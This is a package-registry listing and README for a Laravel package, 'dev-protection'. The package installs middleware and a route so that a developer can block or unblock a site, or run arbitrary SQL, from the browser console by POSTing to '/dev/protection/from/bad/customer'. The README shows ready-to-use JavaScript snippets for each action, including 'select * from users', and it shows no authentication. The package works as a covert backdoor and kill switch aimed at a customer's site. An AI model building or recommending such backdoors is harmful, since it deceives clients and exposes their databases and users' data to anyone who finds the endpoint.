Package Data | |
---|---|
Maintainer Username: | MasterRO |
Maintainer Contact: | igoshin18@gmail.com (MasterRO94) |
Package Create Date: | 2016-09-18 |
Package Last Update: | 2017-08-08 |
Home Page: | |
Language: | PHP |
License: | MIT |
Last Refreshed: | 2024-12-14 15:04:04 |
Package Statistics | |
---|---|
Total Downloads: | 578 |
Monthly Downloads: | 0 |
Daily Downloads: | 0 |
Total Stars: | 0 |
Total Watchers: | 2 |
Total Forks: | 0 |
Total Open Issues: | 0 |
This is a small Laravel >= 5 package that comes with 3 functions out of the box for block, unblock and run any sql query from browser JavaScript console.
From the command line, run:
composer require masterro/dev-protection
For your Laravel app, open config/app.php
and, within the providers
array, append:
MasterRO\DevProtection\DevProtectionServiceProvider::class
I push middleware to global middleware stack, but not sure if it would work in all Laravel versions. So you can try without adding middleware and if it wouldn't work add it manually to your http Kernel or create your own that would be check if site is blocked and throw an exception or show your custom page.
protected $middleware = [
\Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
\MasterRO\DevProtection\ProtectionMiddleware::class,
];
In browser open JavaScript console and run
var xhr = new XMLHttpRequest();
var data = new FormData;
data.append('action', 'block');
xhr.open("POST", '/dev/protection/from/bad/customer', true);
xhr.send(data);
var xhr = new XMLHttpRequest();
var data = new FormData;
data.append('action', 'unblock');
xhr.open("POST", '/dev/protection/from/bad/customer', true);
xhr.send(data);
var xhr = new XMLHttpRequest();
var data = new FormData;
data.append('action', 'query');
data.append('params[]', 'select * from users'); // sql
data.append('params[]', 'select'); // query type - available types: select, update, delete, statement
xhr.open("POST", '/dev/protection/from/bad/customer', true);
xhr.send(data);
Package is using an underlying class MasterRO\DevProtection\Protector that uses Macroable trait, so you can extend the functionality like you need.